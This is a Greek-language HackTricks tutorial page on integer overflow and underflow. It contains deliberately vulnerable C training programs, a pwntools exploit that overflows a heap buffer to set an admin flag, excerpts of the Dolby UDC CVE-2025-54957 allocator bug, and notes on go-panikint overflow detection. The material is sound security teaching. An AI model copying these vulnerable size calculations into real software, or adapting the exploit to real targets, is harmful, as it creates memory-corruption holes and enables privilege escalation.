Integer Overflow

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Στον πυρήνα ενός integer overflow βρίσκεται ο περιορισμός που επιβάλλει το μέγεθος των τύπων δεδομένων στον προγραμματισμό και η ερμηνεία των δεδομένων.

Για παράδειγμα, ένας 8-bit unsigned integer μπορεί να αναπαραστήσει τιμές από 0 to 255. Αν προσπαθήσετε να αποθηκεύσετε την τιμή 256 σε έναν 8-bit unsigned integer, αυτή θα επανέλθει στο 0 λόγω του περιορισμού της χωρητικότητας αποθήκευσης. Ομοίως, για έναν 16-bit unsigned integer, που μπορεί να κρατήσει τιμές από 0 to 65,535, το πρόσθεμα 1 στην τιμή 65,535 θα κάνει την τιμή να επιστρέψει στο 0.

Επιπλέον, ένας 8-bit signed integer μπορεί να αναπαραστήσει τιμές από -128 to 127. Αυτό συμβαίνει επειδή ένα bit χρησιμοποιείται για να αναπαραστήσει το πρόσημο (θετικό ή αρνητικό), αφήνοντας 7 bits για να αναπαραστήσουν το μέγεθος. Ο πιο αρνητικός αριθμός αναπαρίσταται ως -128 (binary 10000000), και ο πιο θετικός αριθμός είναι 127 (binary 01111111).

Μέγιστες τιμές για κοινούς τύπους ακεραίων:

ΤύποςΜέγεθος (bits)Ελάχιστη ΤιμήΜέγιστη Τιμή
int8_t8-128127
uint8_t80255
int16_t16-32,76832,767
uint16_t16065,535
int32_t32-2,147,483,6482,147,483,647
uint32_t3204,294,967,295
int64_t64-9,223,372,036,854,775,8089,223,372,036,854,775,807
uint64_t64018,446,744,073,709,551,615

Ένα short ισοδυναμεί με int16_t και ένα int ισοδυναμεί με int32_t και ένα long ισοδυναμεί με int64_t σε συστήματα 64bits.

Μέγιστες τιμές

Για πιθανές web vulnerabilities είναι πολύ χρήσιμο να γνωρίζουμε τις μέγιστες υποστηριζόμενες τιμές:

fn main() {

let mut quantity = 2147483647;

let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);

println!("{}", mul_result);
println!("{}", add_result);
}

Παραδείγματα

Καθαρό overflow

Το εκτυπωμένο αποτέλεσμα θα είναι 0 καθώς υπερχείλισαμε το char:

#include <stdio.h>

int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}

Μετατροπή από signed σε unsigned

Σκεφτείτε μια περίπτωση όπου ένας signed integer διαβάζεται από είσοδο χρήστη και στη συνέχεια χρησιμοποιείται σε ένα πλαίσιο που τον αντιμετωπίζει ως unsigned integer, χωρίς σωστή επικύρωση:

#include <stdio.h>

int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);

// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;

// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}

return 0;
}

Σε αυτό το παράδειγμα, αν ένας χρήστης εισάγει έναν αρνητικό αριθμό, αυτός θα ερμηνευτεί ως μεγάλος unsigned integer λόγω του τρόπου που ερμηνεύονται οι δυαδικές τιμές, γεγονός που ενδέχεται να οδηγήσει σε απροσδόκητη συμπεριφορά.

macOS Overflow Example

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}

struct session {
int is_admin;           // Target to flip from 0 → 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;

printf("Requested bytes: %zu\n", want);

while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;

ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF – stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}


int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");

// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;

// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
//    NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32   = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);

// 3) Allocate a single arena and lay out [buffer][slack][session]
//    This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;  // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).

// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size;                   // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);

puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);

// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

Μεταγλωττίστε το με:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c

Exploit

# exploit.py
from pwn import *

# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"

EXE = "./int_ovf_heap_priv"

def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE])  # stdin=PIPE, stdout=PIPE by default

# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296")  # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ",  b"1")           # alloc32 = 32, offset_to_sess = 48

# 2) Wait until it’s actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")

# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)

# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send")   # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary

# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))

if __name__ == "__main__":
main()

Παράδειγμα macOS Underflow

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}

struct session {
int  is_admin;      // flip 0 -> 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break;    // EOF: partial read is fine
perror("read"); break;
}
return got;
}

int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");

size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"

const size_t HEADER = 16;

// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER;   // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);

// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);

puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);

if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

Μεταγλωττίστε το με:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c

Allocator alignment rounding wrap → undersized chunk → heap overflow (Dolby UDC case)

Ορισμένοι custom allocators στρογγυλοποιούν τις allocations προς τα επάνω στο alignment χωρίς να επανελέγχουν για overflow. Στον Dolby Unified Decoder (Pixel 9, CVE-2025-54957), το attacker-controlled emdf_payload_size (decoded με έναν unbounded variable_bits(8) βρόχο) τροφοδοτείται στη ddp_udc_int_evo_malloc:

size_t total_size = alloc_size + extra;
if (alloc_size + extra < alloc_size) return 0; // initial wrap guard
if (total_size % 8)
total_size += (8 - total_size) % total_size; // vulnerable rounding
if (total_size > heap->remaining) return 0;

Για τιμές 64-bit κοντά στο 0xFFFFFFFFFFFFFFF9, η έκφραση (8 - total_size) % total_size τυλίγει την πρόσθεση και παράγει ένα μικροσκοπικό total_size παρόλο που το λογικό alloc_size παραμένει τεράστιο. Ο καλών αργότερα γράφει payload_length bytes στο επιστρεφόμενο chunk:

buffer = ddp_udc_int_evo_malloc(evo_heap, payload_length, extra);
for (size_t i = 0; i < payload_length; i++) { // bounds use logical size
buffer[i] = next_byte_from_emdf();       // writes past tiny chunk
}

Γιατί η εκμετάλλευση είναι αξιόπιστη σε αυτό το μοτίβο:

  • Overflow length control: Τα bytes προέρχονται από έναν reader που περιορίζεται από ένα άλλο attacker-chosen μήκος (emdf_container_length), έτσι το write σταματά μετά από N bytes αντί να ψεκάζει payload_length.
  • Overflow data control: Τα bytes που γράφονται πέρα από το chunk είναι πλήρως attacker-supplied από το EMDF payload.
  • Heap determinism: Ο allocator είναι ένας per-frame bump-pointer slab χωρίς frees, οπότε η γειτνίαση των corrupted objects είναι προβλέψιμη.

Άλλα Παραδείγματα

(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)

Ανίχνευση integer overflow σε Go με go-panikint

Το Go κάνει wrap στους integers σιωπηλά. go-panikint είναι ένα forked Go toolchain που εισάγει SSA overflow checks έτσι ώστε η wrapped arithmetic να καλεί αμέσως runtime.panicoverflow() (panic + stack trace).

Γιατί να το χρησιμοποιήσετε

  • Κάνει overflow/truncation προσβάσιμα στο fuzzing/CI επειδή οι wrapped αριθμητικές πράξεις τώρα προκαλούν crash.
  • Χρήσιμο σε περιπτώσεις user-controlled pagination, offsets, quotas, υπολογισμών μεγέθους ή access-control math (π.χ., end := offset + limit σε uint64 που wrapαρει σε μικρές τιμές).

Κατασκευή & χρήση

git clone https://github.com/trailofbits/go-panikint
cd go-panikint/src && ./make.bash
export GOROOT=/path/to/go-panikint
./bin/go test -fuzz=FuzzOverflowHarness

Τρέξτε αυτό το forked go binary για tests/fuzzing ώστε να εμφανίζονται τα overflow ως panics.

Έλεγχος θορύβου

  • Οι έλεγχοι truncation (casts σε μικρότερα ints) μπορεί να προκαλούν θόρυβο.
  • Καταστείλετε τα σκόπιμα wrap-around μέσω φίλτρων source-path ή inline // overflow_false_positive / // truncation_false_positive σχολίων.

Πραγματικό μοτίβο

go-panikint αποκάλυψε ένα Cosmos SDK uint64 pagination overflow: end := pageRequest.Offset + pageRequest.Limit έκανε wrap πέρα από MaxUint64, επιστρέφοντας κενά αποτελέσματα. Η instrumentation μετέτρεψε το σιωπηλό wrap σε panic που οι fuzzers μπόρεσαν να ελαχιστοποιήσουν.

ARM64

Αυτό δεν αλλάζει σε ARM64 όπως μπορείτε να δείτε στο this blog post.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks